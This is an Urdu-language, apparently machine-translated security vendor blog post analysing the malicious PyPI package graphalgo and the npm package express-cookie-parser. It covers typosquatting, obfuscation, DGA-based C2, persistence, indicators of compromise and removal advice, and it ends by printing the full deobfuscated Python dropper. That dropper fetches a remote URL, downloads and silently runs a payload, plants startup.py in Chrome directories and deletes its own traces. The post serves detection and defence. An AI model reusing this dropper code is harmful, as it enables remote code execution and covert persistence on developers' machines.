سافٹ ویئر سپلائی چین اٹیک 2025 - نقصان دہ پیکجز - نقصان دہ ازگر پیکجز - نقصان دہ این پی ایم پیکجز

سافٹ ویئر سپلائی چین اٹیک 2025 پر ایک قریبی نظر: PyPI اور npm مہمات کا موازنہ

Xygeni نے حال ہی میں 2025 میں سافٹ ویئر سپلائی چین حملوں کے منظر نامے میں ایک متعلقہ نمونہ دیکھادو مشہور پیکیج مینیجرز میں ابھرتے ہوئے: پییآئآئ اور npm. ہماری جاری خطرے کی انٹیلی جنس کوششوں کے حصے کے طور پر،Xygeni's Malware Early Warning (MEW) ٹول نے پہلے کسی اور رجسٹری پر اپ لوڈ کردہ بدنیتی پر مبنی پیکیج کی ایک الگ لیکن طریقہ کار سے ملتی جلتی مثال کی نشاندہی کی۔ یہ کیس اس بات پر روشنی ڈالتا ہے کہ کس طرح خطرے کے اداکار پورے ماحولیاتی نظام میں حملے کی تکنیکوں کو تیار اور دوبارہ استعمال کر رہے ہیں، خاص طور پر نقصان دہ ازگر پیکجز اور نقصان دہ این پی ایم پیکجز، جو اوپن سورس سپلائی چینز میں دراندازی کرنے والے نقصان دہ پیکجوں کے خطرے کو بڑھاتا ہے۔

Xygeni's MEW: اسپاٹنگ دی مماثلتیں۔

Xygeni کا MEW ٹول نقصان دہ پیکجوں کا پتہ لگانے اور جھنڈا لگانے کے لیے بنایا گیا ہے، خاص طور پر جو 2025 میں سافٹ ویئر سپلائی چین اٹیک سے منسلک ہیں، جیسے ہی وہ اوپن سورس رجسٹریوں میں شائع ہوتے ہیں۔ یہ مشکوک رویے کے لیے نئے پیکجوں کا تجزیہ کرکے کام کرتا ہے۔

اس مثال میں، اس نے دو کی شناخت کی۔ نقصان دہ ازگر پیکجز (graphalgo PyPI پر) اور نقصان دہ این پی ایم پیکجز (express-cookie-parser این پی ایم پر)۔

سافٹ ویئر سپلائی چین اٹیک (2025) میں نقصان دہ ازگر اور این پی ایم پیکجز

آئیے ان مشترکہ خصوصیات کو دریافت کریں جنہوں نے ہمارے انتباہات کو متحرک کیا:

ٹائپوسکیٹنگ

ان دونوں نے مقبول موجودہ پیکجوں کی نقالی کرنے کی کوشش کی۔

  • graphalgo (PyPI)"گرافس اور نیٹ ورکس بنانے اور ان میں ہیرا پھیری کے لیے ازگر کا پیکیج۔نامی صارف کے ذریعہ اپ لوڈ کیا گیا۔ "لیری ٹیک" 13 جون، 2025 کو، اس پیکج نے خود کو PyPi متبادل کے طور پر اصل غیر نقصان دہ گرافالگو پروجیکٹ کے لیے پیش کیا، جسے بعد میں گرافڈکٹ کا نام دیا گیا۔
  • ایکسپریس کوکی پارسر (این پی ایم): اس پیکج نے معروف کوکی پارسر پیکج کی نقل کی، یہاں تک کہ اس کا عکس بھی README.md اس طرح کی نقالی موجودہ اعتماد سے فائدہ اٹھانے کا ایک کلاسک حربہ ہے۔

دفاع کی پہلی لائن کے طور پر ابہام

دونوں پیکجوں نے اپنے بدنیتی پر مبنی کوڈ کو اصل فائلوں میں مبہم کردیا۔ کے لیے گرافالگو، مبہم کوڈ کے اندر پایا گیا تھا۔ /utils/load_libraries.py. کی صورت میں ایکسپریس کوکی پارسر, cookie-loader.min.js مبہم پے لوڈ پر مشتمل ہے۔

مبہم ہونے کی یہ ابتدائی پرت عام طور پر آرام دہ معائنہ اور جامد تجزیہ کو روکنے کے لیے استعمال ہوتی ہے۔ ابہام کافی آسان تھا: بار بار ZLib کمپریشن پلس بیس 64 انکوڈنگ۔ اس قسم کی الجھن واضح طور پر اشارہ کرتی ہے کہ سافٹ ویئر اپنے رویے کو چھپانے کی کوشش کر رہا ہے۔ دیگر شواہد کے ساتھ، اس نے Xygeni MEW کو پیکیجز کو ممکنہ مالویئر کے طور پر درجہ بندی کرنے کی اجازت دی۔ تصدیقی مرحلے کے دوران، ہمارے مبصرین نے فوری طور پر ایک deobfuscation اسکرپٹ تیار کیا جس نے واضح طور پر بدنیتی پر مبنی ڈراپر مرحلے کا انکشاف کیا۔

ملٹی اسٹیج پے لوڈ ڈیلیوری اور ایک مشترکہ اوریجن پوائنٹ

دونوں پیکجوں نے ابتدائی طور پر کام کیاڈراپرز"حقیقی پے لوڈ کے لیے اسٹیج ترتیب دینا۔ انہوں نے ایک مشترکہ بیرونی"بیجفائل URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

یہ ایک جیسی بیرونی سیڈ فائل مشترکہ خطرے والے اداکار کا مضبوط اشارہ ہے۔ دلچسپ بات یہ ہے کہ اس سیڈ فائل کا مواد سادہ ماحولیاتی متغیرات (مثال کے طور پر، JWT_SECRET، PORT) لگتا ہے، ممکنہ طور پر اس کے اصل کام کے لیے گمراہ کن معائنہ۔

DGA کے ساتھ ڈائنامک C2 ریزولوشن

ان بدنیتی پر مبنی پیکیجز میں مشاہدہ کیا گیا ایک نفیس حربہ کمانڈ اینڈ کنٹرول (C2) سرور کو متحرک طور پر حل کرنے کے لیے ڈومین جنریشن الگورتھم (DGA) کا استعمال ہے۔ یہ تکنیک، جو اکثر 2025 میں جدید سافٹ ویئر سپلائی چین حملوں میں دیکھی جاتی ہے، سیڈ فائل کے مواد سے اخذ کردہ SHA256 ہیش پر انحصار کرتی ہے، جو دیگر ہارڈ کوڈ شدہ اقدار کے ساتھ ملتی ہے۔ ایسا کرنے سے، C2 کا بنیادی ڈھانچہ اکثر تبدیل ہوتا رہتا ہے، جس سے روایتی بلیک لسٹنگ بہت کم موثر ہوتی ہے۔ اس صورت میں، npm متغیر نے ایک مقررہ قدر کا استعمال کیا۔ 496AAC7E اس کی DGA منطق کے حصے کے طور پر۔

استقامت قائم کرنا

دونوں حملہ آوروں نے متاثرہ نظاموں پر دیرپا موجودگی قائم کرنے کی کوشش کی۔ ان کی حکمت عملی میں فائل گرانا شامل تھا، startup.py (PyPi کے لیے) یا startup.js (npm کے لیے)، مختلف آپریٹنگ سسٹمز (ونڈوز، لینکس، میک او ایس) پر مشترکہ گوگل کروم صارف ڈیٹا ڈائریکٹریز میں۔

پھانسی کے بعد کی صفائی

نشانات کو کم سے کم کرنے کے لیے، دونوں بدنیتی پر مبنی اسکرپٹس نے صفائی کی کارروائیاں کیں۔ اس میں ان کی ابتدائی ڈراپر فائلوں کو حذف کرنا شامل ہے (load_libraries.py, cookie-loader.min.js) اور جائز پیکیج فائلوں میں ترمیم کرنا (__init__.py, index.js) اب حذف شدہ اجزاء کے حوالہ جات کو ہٹانے کے لیے۔

نقصان دہ ازگر اور این پی ایم پیکجز میں سمجھوتہ کے اشارے

  • پی پی آئی پیکیج: گرافالگو (لاریٹیک کے ذریعہ شائع کردہ، 13 جون، 2025)
  • این پی ایم پیکیج: ایکسپریس کوکی پارسر (خاص طور پر ورژن 1.4.12)
  • مشترکہ بیج یو آر ایل تک رسائی

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • مستقل فائل نام: startup.py (ازگر) startup.js (جاوا اسکرپٹ)
  • مشترکہ مستقل راستے (OS پر منحصر): گوگل کروم صارف ڈیٹا ڈائریکٹریز کے اندر (مثلاً، AppData\Local\Google\Chrome\UserData\Scripts\ ونڈوز پر، ~/.config/google-chrome/Scripts/ لینکس وغیرہ پر)۔

سافٹ ویئر سپلائی چین اٹیک 2025 میں بدنیتی پر مبنی پیکیجز کے خلاف کیسے دفاع کیا جائے

ڈویلپرز کے لیے ایک تجویز کردہ نقطہ نظر

یہ واقعہ 2025 میں سافٹ ویئر سپلائی چین کے حملوں کے خطرے کے منظر نامے میں ایک قابل قدر کیس اسٹڈی کے طور پر کام کرتا ہے۔ یہ اس بات پر روشنی ڈالتا ہے کہ کس طرح نقصان دہ Python پیکجز اور نقصان دہ npm پیکجز قابل اعتماد ماحولیاتی نظام میں پھسل سکتے ہیں، اکثر اس وقت تک پتہ لگانے سے بچ جاتے ہیں جب تک کہ بہت دیر نہ ہو جائے۔ یہی وجہ ہے کہ ابتدائی پتہ لگانے، سمارٹ ٹولنگ، اور فعال نظام کی صفائی اب کسی بھی محفوظ DevOps ورک فلو کے ضروری حصے ہیں۔ ڈویلپرز کو درج ذیل پر غور کرنے کی ترغیب دی جاتی ہے:

انحصار کا جائزہ

اگر آپ کے منصوبوں میں شامل ہے۔ گرافالگو or ایکسپریس کوکی پارسران کے خاتمے کے ساتھ آگے بڑھنا سمجھداری ہوگی۔

  • PyPI کے لیے: pip uninstall graphalgo
  • این پی ایم کے لیے: npm uninstall express-cookie-parser

نظام حفظان صحت

ایک جامع سسٹم اسکین کرنے پر غور کریں۔ یہ بھی مشورہ دیا جاتا ہے کہ کسی بھی غیر متوقع طور پر عام کروم صارف ڈیٹا ڈائرکٹری کے راستوں کو دستی طور پر چیک کریں۔ startup.py or startup.js فائلوں.

فعال حفاظتی اقدامات

  • نئے انحصار کا اندازہ لگائیں۔: انٹیگریشن سے پہلے نئے پیکجز کا اچھی طرح جائزہ لینے کے لیے ایک روٹین قائم کریں، ان پر توجہ مرکوز کریں جو ناواقف پبلشرز کے ہیں۔
  • سیکیورٹی ٹولز کو انٹیگریٹ کریں۔: Xygeni's MEW جیسے ٹولز، دیگر سافٹ ویئر کمپوزیشن اینالیسس کے ساتھ (SCA) حل، مشکوک رویوں اور کمزوریوں کی نشاندہی کرکے دفاع کی ایک اہم تہہ فراہم کر سکتے ہیں۔
  • کم از کم استحقاق: کم سے کم استحقاق کے اصول کے ساتھ ترقیاتی ماحول کو چلانے سے سمجھوتے کے ممکنہ اثرات کو محدود کرنے میں مدد مل سکتی ہے۔
  • نیٹ ورک بیداری: غیر معمولی رابطوں کے لیے آؤٹ باؤنڈ نیٹ ورک ٹریفک کی نگرانی بعض اوقات DGA سے تیار کردہ C2 مواصلات کو ظاہر کر سکتی ہے۔

کے کلیدی اجزاء load_libraries.py (گرافالگو سے)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): مخصوص URLs سے فائلوں کی بازیافت کو ہینڈل کرتا ہے۔
  • run_process(): بیرونی Python اسکرپٹس کو الگ الگ طریقے سے چلاتا ہے، آؤٹ پٹ کو محتاط رہنے کے لیے دباتا ہے۔
  • get_output_file_path(): مستقل startup.py فائل کے لیے نظام کے مثالی مقام کا تعین کرتا ہے۔
  • remove_self(): ابتدائی بدنیتی پر مبنی فائلوں اور پیکج میں ترمیم کے بعد عمل درآمد کی صفائی کو ترتیب دیتا ہے۔
  • simple_shift_encrypt() / simple_shift_decrypt(): مواصلاتی چینلز کو دھندلا دینے کے لیے اپنی مرضی کے کرپٹوگرافک فنکشنز، جو DGA کے نفاذ کے لیے اہم ہیں۔
  • load_libraries(): مرکزی فنکشن جو ابتدائی ڈاؤن لوڈ سے لے کر آخری پے لوڈ کے عمل اور صفائی تک پورے کثیر مرحلے کے عمل کو مربوط کرتا ہے۔

بعد

جیسا کہ MEW کے ذریعہ شناخت کردہ دیگر ممکنہ طور پر نقصان دہ پیکجوں کے ساتھ، انحصار فائر وال نے فوری طور پر ان صارفین کی حفاظت کی جو ان نقصان دہ پیکجوں کو اپنی انحصار میں شامل کریں گے۔ تصدیق کے بعد، ہم نے دونوں رجسٹریوں کے لیے اطلاع کے طریقہ کار پر عمل کیا، جس نے جائزہ لینے کے بعد دونوں پیکجوں کو ہٹا دیا۔

sca-tools-software-composition-analysis-tools
اپنے سافٹ ویئر کے خطرات کو ترجیح دیں، تدارک کریں اور محفوظ کریں۔
اپنا مفت اکاؤنٹ حاصل کریں۔
کوئی کریڈٹ کارڈ کی ضرورت نہیں ہے.

اپنے سافٹ ویئر ڈویلپمنٹ اور ڈیلیوری کو محفوظ بنائیں

Xygeni پروڈکٹ سویٹ کے ساتھ